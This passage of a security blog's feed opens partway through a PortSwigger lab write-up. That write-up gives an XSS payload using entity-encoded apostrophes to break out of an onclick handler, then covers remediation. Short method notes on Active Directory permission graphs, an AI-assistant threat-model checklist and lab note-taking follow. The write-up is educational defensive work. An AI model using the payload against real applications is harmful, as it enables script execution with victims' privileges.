escaped. Browser parsing therefore preserves the attacker-controlled behavior instead of reducing the value to inert text or a safe URL.</p><h2 id="Walkthrough-in-the-authorized-PortSwigger-lab"><a href="#Walkthrough-in-the-authorized-PortSwigger-lab" class="headerlink" title="Walkthrough in the authorized PortSwigger lab"></a>Walkthrough in the authorized PortSwigger lab</h2><p>First reproduce the recorded page or request and inspect the exact reflected, stored, or DOM-generated context described above. Then supply the following lab payload as data, not as active markup in this article:</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">`http://foo?&amp;apos;-alert(1)-&amp;apos;`</span><br></pre></td></tr></table></figure><p>The HTML parser decodes <code>&amp;apos;</code> to a quote before the event-handler JavaScript is compiled, creating an executable subtraction expression. </p><figure><img src="/images/portswigger/xss/lab-onclick-event-angle-brackets-double-quotes-html-encoded-single-quotes-backslash-escaped/step-2.png" alt="Browser alert dialog showing `1` after the entity-encoded apostrophes are decoded inside the stored anchor event handler and the author name is clicked."><figcaption>Browser alert dialog showing `1` after the entity-encoded apostrophes are decoded inside the stored anchor event handler and the author name is clicked.</figcaption></figure><h2 id="Verification"><a href="#Verification" class="headerlink" title="Verification"></a>Verification</h2><p>Clicking the stored author name invokes <code>alert(1)</code> and completes the lab. This distinguishes execution from a payload merely appearing in source or being stored without reaching the required event or sink.</p><h2 id="Impact-and-defensive-lesson"><a href="#Impact-and-defensive-lesson" class="headerlink" title="Impact and defensive lesson"></a>Impact and defensive lesson</h2><p>In a real application, equivalent XSS could act with the victim’s same-origin privileges, expose readable data, or perform authenticated actions. Fix the data flow at its context: use text-only DOM APIs, JavaScript- or attribute-aware encoding, strict URL-scheme allowlists, and maintained sanitization where HTML is unavoidable. HttpOnly cookies and a restrictive CSP reduce consequences but do not repair the injection flaw.</p><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><ul><li><a href="https://portswigger.net/web-security/cross-site-scripting/contexts/lab-onclick-event-angle-brackets-double-quotes-html-encoded-single-quotes-backslash-escaped">PortSwigger lab</a></li><li><a href="https://portswigger.net/web-security/cross-site-scripting">PortSwigger cross-site scripting guidance</a></li><li><a href="https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html">OWASP Cross Site Scripting Prevention Cheat Sheet</a></li></ul>]]></content>
    
    
    <summary type="html">See how a stored website value enters an onclick handler, where HTML entity decoding defeats JavaScript quote escaping and enables execution.</summary>
    
    
    
    <category term="Writeups" scheme="https://blog.nhhoang.io.vn/categories/Writeups/"/>
    
    <category term="PortSwigger" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/"/>
    
    <category term="XSS" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/XSS/"/>
    
    
    <category term="portswigger" scheme="https://blog.nhhoang.io.vn/tags/portswigger/"/>
    
    <category term="web-security" scheme="https://blog.nhhoang.io.vn/tags/web-security/"/>
    
    <category term="xss" scheme="https://blog.nhhoang.io.vn/tags/xss/"/>
    
  </entry>
  
  <entry>
    <title>Active Directory lab: map privilege paths instead of chasing a single artifact</title>
    <link href="https://blog.nhhoang.io.vn/posts/2026/06/2026-06-28-ad/"/>
    <id>https://blog.nhhoang.io.vn/posts/2026/06/2026-06-28-ad/</id>
    <published>2026-06-28T02:00:00.000Z</published>
    <updated>2026-11-12T15:04:06.492Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p><strong>Educational &#x2F; lab material.</strong> Every identity, group, and relationship in this post is simulated data.</p></blockquote><h2 id="Start-with-the-subject"><a href="#Start-with-the-subject" class="headerlink" title="Start with the subject"></a>Start with the subject</h2><p>I choose a test account, list its direct permissions, then expand into groups and indirect relationships. Each edge in the graph needs a source, a capture time, and a corresponding verification question.</p><p>Safe example: <code>user-test → group-lab → resource-demo</code>. These names illustrate a documentation method and do not describe a real domain.</p><h2 id="What-makes-a-map-trustworthy"><a href="#What-makes-a-map-trustworthy" class="headerlink" title="What makes a map trustworthy"></a>What makes a map trustworthy</h2><p>Do not confuse “visible” with “usable.” Separate inventory, policy, and effective access into three layers, and record which layer was actually checked in the lab.</p><h2 id="Takeaway"><a href="#Takeaway" class="headerlink" title="Takeaway"></a>Takeaway</h2><p>A small graph with annotations is often more useful than a large image without provenance.</p>]]></content>
    
    
    <summary type="html">A method note for reading permission relationships in a simulated directory through a small, verifiable graph.</summary>
    
    
    
    <category term="Writeups" scheme="https://blog.nhhoang.io.vn/categories/Writeups/"/>
    
    <category term="Active Directory" scheme="https://blog.nhhoang.io.vn/categories/Writeups/Active-Directory/"/>
    
    
    <category term="active-directory" scheme="https://blog.nhhoang.io.vn/tags/active-directory/"/>
    
    <category term="identity" scheme="https://blog.nhhoang.io.vn/tags/identity/"/>
    
    <category term="graph" scheme="https://blog.nhhoang.io.vn/tags/graph/"/>
    
  </entry>
  
  <entry>
    <title>Cloud / AI notes: testing the trust boundary of an internal assistant</title>
    <link href="https://blog.nhhoang.io.vn/posts/2026/06/2026-06-15-cloud-ai/"/>
    <id>https://blog.nhhoang.io.vn/posts/2026/06/2026-06-15-cloud-ai/</id>
    <published>2026-06-15T02:00:00.000Z</published>
    <updated>2026-11-12T15:04:06.492Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p><strong>Educational &#x2F; lab material.</strong> Use only a local model, fictional documents, and a simulated endpoint.</p></blockquote><h2 id="Draw-the-trust-boundary"><a href="#Draw-the-trust-boundary" class="headerlink" title="Draw the trust boundary"></a>Draw the trust boundary</h2><p>I split the system into prompt, retrieval, tool or action, and audit. Each area has a different kind of untrusted input. The important question is not “is the model intelligent?” but “which actions can happen without human confirmation?”</p><h2 id="Safety-checklist"><a href="#Safety-checklist" class="headerlink" title="Safety checklist"></a>Safety checklist</h2><ol><li>Does retrieved data have a clear scope?</li><li>Is the output treated as a command or only as a suggestion?</li><li>Do tools have an allowlist, timeout, and enough logging for investigation?</li><li>Is there a clean path to separate the model from any real system?</li></ol><p>Good design usually reduces permission before increasing capability.</p>]]></content>
    
    
    <summary type="html">A lightweight threat model for an assistant using internal data: what is trusted, and which actions need human approval.</summary>
    
    
    
    <category term="Research" scheme="https://blog.nhhoang.io.vn/categories/Research/"/>
    
    <category term="Cloud / AI" scheme="https://blog.nhhoang.io.vn/categories/Research/Cloud-AI/"/>
    
    
    <category term="cloud" scheme="https://blog.nhhoang.io.vn/tags/cloud/"/>
    
    <category term="ai-security" scheme="https://blog.nhhoang.io.vn/tags/ai-security/"/>
    
    <category term="threat-model" scheme="https://blog.nhhoang.io.vn/tags/threat-model/"/>
    
  </entry>
  
  <entry>
    <title>Methodology: from hypothesis to a reproducible note</title>
    <link href="https://blog.nhhoang.io.vn/posts/2026/05/2026-05-30-methodology/"/>
    <id>https://blog.nhhoang.io.vn/posts/2026/05/2026-05-30-methodology/</id>
    <published>2026-05-30T02:00:00.000Z</published>
    <updated>2026-11-12T15:04:06.492Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p><strong>Educational &#x2F; lab material.</strong> This is a template for authorized environments.</p></blockquote><h2 id="Four-layers-of-a-useful-note"><a href="#Four-layers-of-a-useful-note" class="headerlink" title="Four layers of a useful note"></a>Four layers of a useful note</h2><p><strong>Scope:</strong> which systems, data, and time window are included. <strong>Observation:</strong> what was seen and where the evidence lives. <strong>Hypothesis:</strong> what the tentative explanation is. <strong>Verification:</strong> the smallest test that can distinguish between possibilities.</p><h2 id="Responsible-automation"><a href="#Responsible-automation" class="headerlink" title="Responsible automation"></a>Responsible automation</h2><p>Scripts should support dry-run mode, structured logs, rate limits, and cleanup. A command that does not run still has value when it leaves a clear reason for the failure.</p><h2 id="Closing-format"><a href="#Closing-format" class="headerlink" title="Closing format"></a>Closing format</h2><p>End with “known,” “unknown,” and “do not infer.” This keeps readers from turning a signal in a lab into an oversized conclusion.</p>]]></content>
    
    
    <summary type="html">A compact format for recording scope, observations, verification, and the limits of each lab exercise.</summary>
    
    
    
    <category term="Notes" scheme="https://blog.nhhoang.io.vn/categories/Notes/"/>
    
    <category term="Methodology" scheme="https://blog.nhhoang.io.vn/categories/Notes/Methodology/"/>
    
    
    <category term="methodology" scheme="https://blog.nhhoang.io.vn/tags/methodology/"/>
    
    <category term="reporting" scheme="https://blog.nhhoang.io.vn/tags/reporting/"/>
    
    <category term="automation" scheme="https://blog.nhhoang.io.vn/tags/automation/"/>
    
  </entry>
  
</feed>
